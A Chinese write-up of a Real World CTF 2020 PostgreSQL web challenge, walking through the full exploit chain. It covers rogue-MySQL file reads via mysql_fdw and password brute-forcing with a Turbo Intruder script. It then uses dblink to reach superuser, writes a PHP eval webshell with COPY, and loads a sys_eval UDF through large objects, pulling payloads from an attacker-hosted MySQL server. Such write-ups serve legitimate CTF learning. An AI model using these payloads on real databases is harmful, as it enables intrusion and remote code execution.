刚打的RWCTF比赛,觉得题目是非常不错的,至少这个环境下,postgre是大部分Web选手的弱项,圈内也没有什么自动化测试工具,因此写这篇WP还是有必要的。
由于大部分关键的技术点是我队里的亲姐们——鱼先做了,所以这里先贴一下人家的博客里的wp(鱼哥看到记得来拍我)
https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426
这道题学到的不止有postgre的知识,还有burpsuite BApp,以及md5crack的部分,这里还是给各位同学做个分析总结吧。
本文涉及知识点实操练习:使用burp进行暴力破解 (通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。)
复现环境下载
链接:https://pan.baidu.com/s/1TKQ5UYh55KcYQVQKG-CAwA
提取码:kwck
复制这段内容后打开百度网盘手机App,操作更方便哦--来自百度网盘超级会员V3的分享
源码分析
打开题目直接显示源码
<?php
error_reporting(0);
if(!$sql=(string)$_GET["sql"]){
show_source(__FILE__);
die();
}
header('Content-Type: text/plain');
if(strlen($sql)>100){
die('That query is too long ;_;');
}
if(!pg_pconnect('dbname=postgres user=realuser')){
die('DB gone ;_;');
}
if($query = pg_query($sql)){
print_r(pg_fetch_all($query));
} else {
die('._.?');
}
这个源码不难理解,主要就是你通过get输入一个sql参数,然后他会把你输入的直接作为pg_query的参数,然后返回结果,如果运行正确就打印结果,错误就显示颜文字。其中sql输入限制了100个字节。
第一步我们必须自己搭建一个环境,这样可以把报错打出来,方便调试
进入postgre交互式命令行的方式是
psql
如果你在这步就报错了,请切换到postgres用户再做
pg_query的报错函数为:
print_r(pg_fetch_all($query));
因此我们在最后一个else里面加上这个函数
这样只要我们输入错误,显示的就是具体语句查询时候的报错。
接下来我们首先看看这个postgre的版本和用户
这一块很重要,虽然dockerfile里面有,但是如果以后其他题目没有给docker的时候,可以通过这两条语句来查询出题目postgre的版本
select user;
select version();
根据docker我们可以知道,这个realuser不是一个superuser,如果是superuser的话,网络上很多方式都可以直接getshell了。而nosuperuser在目前是无法getshell的,所以目标十分明确,就是要提权,然后正常的执行getshell命令。
当时查完,我们队伍就感觉可能是不是10.15之前修补的那个cve的绕过,但是研究发现那个cve是个pwn,而且题目明确表示这个是个web题目,所以放弃走这条路
接着我们在题目给的dockerfile里面看到他安装了两个扩展
在文档里面,CREATE EXTENSION表示的意思是安装postgre扩展
其中postgresql中dblink扩展的功能是可以在一个数据库中操作另外一个远程数据库
select dblink_connect('连接句柄名', 'host=XXX.XXX.XXX.XXX port=XX dbname=postgres user=myname password=mypassword');
而mysql_fdw扩展则是用来在Postgre中快速访问MySQL中的数据,也就是给Postgre提供一个外界Mysql的访问方式
于是我们亲爱的鱼就想到了rouge-mysql
这个考点在CTF中比较常见,通过让题目连接自己的mysql恶意服务器来进行任意文件读取(我怎么就没想到)
从这里下载到脚本
https://github.com/allyshka/Rogue-MySql-Server
py版本为什么不好原因有3:
1. 后台监听且不回显
(你说你监听就监听吧,还弄了个后台监听,运行完没有回显,搞半天以为我运行出错)
2. 结果在同目录下的一个mysql.log文件里,差点没找到。
3. 每次读取还得自己改一下源码里面的文件名
php版本就很人性,动态输入文件名,然后直接回显在屏幕上。
postgre的mysql_fdw使用方法可以参考这个网站,上面有实际例子:
https://blog.csdn.net/bingluo8787/article/details/100958098
我们不用创建那么大的表格,随便填一个id int就行
CREATE SERVER mysql_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');
CREATE USER MAPPING FOR realuser SERVER mysql_server OPTIONS (username 'root', password 'root');
CREATE FOREIGN TABLE test(id int) SERVER mysql_server OPTIONS (dbname 'a', table_name 'test');
select * from test;
DROP SERVER mysql_server
最后一个drop是因为如果前后两次使用相同的Servername,他就会一直报servername存在,类似mysql里面的databases会一直报存在一个样,因此我们每次运行完都drop掉,省的一直改
最后读取的poc如下:
import requests
import hashlib
import random
import uuid
url ="http://54.219.197.26:60080/?sql="
#填你的IP
ip="***"
port="***"
server_name="aaaa"
dbname=server_name
Table_name=server_name
poc1="CREATE SERVER "+server_name+" FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'"+ip+"',port'"+port+"');"
#poc2里填写你自己mysql的用户名密码
poc2="CREATE USER MAPPING FOR realuser SERVER "+server_name+" OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE "+Table_name+"(id int) SERVER "+server_name+" OPTIONS (dbname '"+dbname+"', table_name '"+Table_name+"');"
poc4="select * from "+Table_name+";"
poc5="DROP SERVER "+server_name
r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)
在我们服务器上php mysql.php进行监听,然后运行poc,远程读取到服务器文件
那么问题来了,题目给了dockerfile,读取也没用啊,没有啥文件是不知道的。
这个时候我和鱼哥做题水平分水岭就出来了,确实不如人家厉害
我的想法
寻找conf文件配置中的漏洞,看能不能免密码登录superuser的账户,在UNIX平台中安装PostgreSQL之后,PostgreSQL会在UNIX系统中创建一个名为"postgres"当用户。PostgreSQL的默认用户名和数据库也是"postgres",而且这个是个superuser
但是我们出题人很贴心的在每次docker重启时都将postgres的密码改为了5位随机字符串。
但是通过网络查阅我了解到,在pg_hba.conf中如果把host配置为trust是可以进行免密登录的,然后在docker里面遍历搜索pg_hba.conf这个文件的位置,发现在/etc/postgresql/10/main下,读取以后:
这个很明显是不能够登录的,到了这里我就开始想爆破密码了
爆破的poc为
http://ip/?sql=SELECT%20dblink_connect(%27hostaddr=127.0.0.1%20port=5432%20dbname=postgres%20%20user=postgres%20password=aaaaa%27);
如果成功连接那么网页会回显
Array
(
[0] => Array
(
[dblink_connect] => OK
)
)
错误则是回显颜文字
爆破的时候用的是burpsuite的Turbo intruder
Turbo 介绍
和普通的intruder不同,这个速度差不多是原来旧版本的10倍
我相信很多人还是在使用intruder(还是换了吧,那个确实慢)
每一个burp都自带一个Entender标签,里面都有一个BAppStore,是有很多插件可以安装的,之后再出一篇专门讲这些插件的吧,这次用的Turbo也在这里面,直接点击安装就好
当然,由于各种原因,很多人的版本直接点击install是长时间没有响应的,因为连不上国外服务器,所以这里我再给大家一个下载插件安装包的网址
https://portswigger.net/bappstore
这个网址可以下载到列表里面最新的插件,所有安装包都是.bapp结尾,然后点击刚才burp页面里面的Manual install进行附件安装也可以
主要用法如下,截取到包以后,右键有一个send to Turbo intruder按钮,比较隐蔽,注意看一下就好
然后爆破的时候需要在框里面填一下py的功能函数
如果对单个密码进爆破,则使用网络上爆破验证码的方式即可,把下面的复制到框内(脚本都是现成的,网络上一搜一堆):
from itertools import product
def brute_veify_code(target, engine, length):
pattern = '1234567890abcdefghijklmnopqrstuvwxyz'
for i in list(product(pattern, repeat=length)):
code = ''.join(i)
engine.queue(target.req, code)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,
requestsPerConnection=100,
pipeline=True
)
brute_veify_code(target, engine, 6)
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.response
if 'error' not in req.response:
table.add(req)
然后在url里面需要爆破的位置用%s表示
这个速度是真的很快的,一秒大概4000多个
如果是简单的爆破,他要快很多,但是事实证明,大型爆破时,个人电脑撑不住。
然后这题6千万个密码,就把我电脑内存和带宽跑炸了......
鱼哥的做法
怎么说人家就是很聪明,直接想到类比mysql,mysql里面的密码存储方式是落地的,就在data_directory变量的目录位置,那么同样的,进到docker里面通过查询一下系统变量,就可以看到postgre的密码存放位置
这里说一下postgre的交互式命令行
进入postgre的交互式命令行的命令为
psql
你也可以用
psql -c "commond"
来直接执行命令,和mysql一样
但是如果你是root用户,且没有配置过,是不可以在root下直接进入psql的,会出现如下错误:
所以我们要切换到postgres用户
然后我们查询系统变量
这里讲一下psql的退出方式,你要觉得麻烦,直接ctrl+d强制退出就好
然后我们进入目录下,发现一堆文件
如何寻找密码文件呢,前面看了conf文件为md5加密
这里教大家一个方便查找文件内容的命令egrep
egrep -r "内容" 目录
其中内容部分支持正则表达式
最后发现在global/1260里面
提供一个爆破md5的工具,这个是真的很快:
http://c3rb3r.openwall.net/mdcrack
爆破方式参考
http://www.91ri.org/1285.html
很快啊,他就直接出来了,前面5位就是密码,后面的是用户名
还记得dblink扩展的作用吗,用来连接postgre数据库。
然后我们就可以用dblink直接登录superuser了
所以剩下的问题就是用superuser执行命令的问题了
只要能够执行下面这句话,就可以把木马写入到目录里面,如果web目录不是777,那么写一个udf到/tmp也可以。
SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);
但是问题又来了,他每次连接都是一个新的,无法保持上一次连接状态,因为不是命令行交互,所以我们必须要在一行里面打完所有poc,但是他限制了100个字节,这个很头疼,我和鱼哥都开始想着怎么绕过这个长度限制。
然后还是一个队内做题的分水岭,高手鱼和普通ctfer小s的区别。
我的想法
由于之前写过mysql 的存储过程,很清楚只要是数据库,都可以把一个复杂的语句经过编码然后存入到一个存储过程里面,然后下一次调用,这样就可以避免两次连接不保持状态这个问题。
没有概念的同学请参考强网杯线上随便注正解,或者参考我前一篇发在合天的文章再学一下。
于是我实验了postgre的存储过程,也很快,因为这个确实熟悉
只要发送如图上两次请求就可以调用d函数中的select语句
但是我还是想简单了,因为存储过程在命令行中是可以分开写的,就算是两次连接一样可以写完,但是url里面他的回车符传入到postgre后端不识别,因此他不能分开写,所以还是绕不过去100个字符的限制。因此这个方法不通。
但是不是说这个方法没用,如果这里考察的不是postgre长度限制而是敏感字符过滤,那么肯定是要用存储过程的。(最后的尊严TT)
鱼哥的想法
鱼哥想到的是子查询,通过将poc语句写入到自己mysql服务器的一个表里面,然后在利用mysql_fdw扩展远程连接mysql服务器的时候select出来。
可以将
SELECT * FROM dblink('hostaddr=127.0.0.1 user=postgres password=aaaaa', 'COPY (select $$<?=@eval($_REQUEST[1]);?>$$) to $$/var/www/html/1.php$$;') as t1(record text);
变形为
SELECT * FROM dblink((select a from c where b=1), (select a from c where b=2)) as t1(a text);
第一个select做连接,第二个做执行命令。
调整poc如下,调整了子查询的表名为b和列名为s,m,然后换了servername为a66_server,t9为子查询别名:
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'IP',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
先在自己服务器建立一个b数据库,然后建立一个b表,里面是s字段和m字段,然后两个字段分别存放两个poc,一个用来连接,一个用来执行
坑点又来了!
这个地方一定一定不能因为想弄长一点,就用longtext或者其他text类型来声明这两个字段,因为当postgre从mysql查询的时候会报如下错误:
具体原因尚未分析。
varchar的最长长度是65535,但是由于每个人电脑的不同,可能最大长度设置也不同,我这里最多只能设置45000。
要写入mysql的poc
drop table b;
create table b(s varchar(20000),m varchar(44000));
insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=*****','COPY (select $$<?=@eval($_REQUEST[3]);?>$$) to $$/tmp/smity.php$$;');
弄好以后差不多如下
然后poc:
import requests
import random
import uuid
url ="http://IP/?sql="
poc1="CREATE SERVER a66_server FOREIGN DATA WRAPPER mysql_fdw OPTIONS(host'ip',port'3306');"
poc2="CREATE USER MAPPING FOR realuser SERVER a66_server OPTIONS (username 'root', password 'root');"
poc3="CREATE FOREIGN TABLE a66(s text,m text) SERVER a66_server OPTIONS (dbname 'b', table_name 'b');"
poc4="SELECT * FROM dblink((select s from a66), (select m from a66)) as t9(record text);"
r1=requests.get(url+poc1)
print(r1.text)
r2=requests.get(url+poc2)
print(r2.text)
r3=requests.get(url+poc3)
print(r3.text)
r4=requests.get(url+poc4)
print(r4.text)
然后对面的/tmp目录就写了个文件
这里题目没有777权限给/var/www/html。所以我们要考虑/tmp下写udf来执行命令
这个是固定的用法了
参考
https://blog.csdn.net/qq_33020901/article/details/79032774
这篇文章请直接看最后一个部分,因为前面利用环境编译的部分我觉得太过麻烦,直接用github上的源码编译即可
大致过程如下:
- 按照题目postgre的大版本编一个符合版本的
.so
- 将
.so
文件分片,写入到sql语句里,就和之前写php文件一样,再写到自己的mysql数据库里 - 发送poc让对面服务器来我们这里查询出来语句并且执行
udf.so
编译过程
先去这个网页下载编译程序
https://github.com/sqlmapproject/udfhack/tree/master/linux/64/lib_postgresqludf_sys
然后进入题目docker
先安装一个postgre-server-dev,不然很多头文件没有。
apt install postgresql-server-dev-all
然后在下载的Makefile里面,加一段10版本的编译,直接复制下面的,然后修改一下第一句的目录,如果你的目录不对,就去/usr/里面看一下到底是多少,只需要找到/usr里面的postgre目录即可,不需要管server存不存在,他会自动创建的。
然后将下载的复制到docker里面
make 10
就编译好了,在同目录下就会发现生成了一个lib_postgresqludf_sys.so
报错不用管他
这个就是我们需要的udf.so
然后是分片
因为在postgresql高版本处理中,如果块之间小于2048,默认会用0去填充让块达到2048字节,会导致文件破坏或者上传失败
用python脚本去分割udf.so文件
Python
#~/usr/bin/env python 2.7
#-*- coding:utf-8 -*-
import sys
if __name__ == "__main__":
if len(sys.argv) != 2:
print "Usage:python " + sys.argv[0] + "inputfile"
sys.exit()
fileobj = open(sys.argv[1],'rb')
i = 0
for b in fileobj.read():
sys.stdout.write(r'{:02x}'.format(ord(b)))
i = i + 1
if i % 2048 == 0:
print "\n"
fileobj.close()
会出来6个大块,分为6条语句,和参考网页里的一样
https://blog.csdn.net/qq_33020901/article/details/79032774
SELECT lo_create(9023);
insert into pg_largeobject values (9023, 0, decode('...');
insert into pg_largeobject values (9023, 1, decode('...');
insert into pg_largeobject values (9023, 2, decode('...');
insert into pg_largeobject values (9023, 3, decode('...');
insert into pg_largeobject values (9023, 4, decode('...');
insert into pg_largeobject values (9023, 5, decode('...');
SELECT lo_export(9023, '/tmp/testeval.so');
实验证明,设置varchar(44000)是绝对够写入mysql数据库的。不用担心长度问题
然后删除原来的表,重新添加
drop table b;
create table b(s varchar(20000),m varchar(44000));
insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"SELECT lo_create(9023);insert into......
然后运行刚才的poc,写入/tmp/testeval.so
写入so以后,我们需要执行以下sql语句来执行命令
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
select sys_eval('id');
原来的参考网站有一条
drop function sys_eval;
应该是写错了,加了这个不能运行
再次清空我们服务器上的mysql数据表,重新建立
drop table b;
create table b(s varchar(20000),m varchar(44000));
insert into b (s,m) value('hostaddr=127.0.0.1 user=postgres password=25j53',"CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('/readflag');");
然后再次运行poc,得到flag
总结
队内这次打web的高手挺多,还有其他做法,鱼哥也发他博客了,感兴趣可以看看
https://f1sh.site/2021/01/11/real-world-ctf-2020-dbaasadge-writeup/#more-426
总的来说。这次的rw web题目是很好的,其中java和postgre都是目前ctf环境的弱项,一考一个准,还是得有空补一补php以外的东西。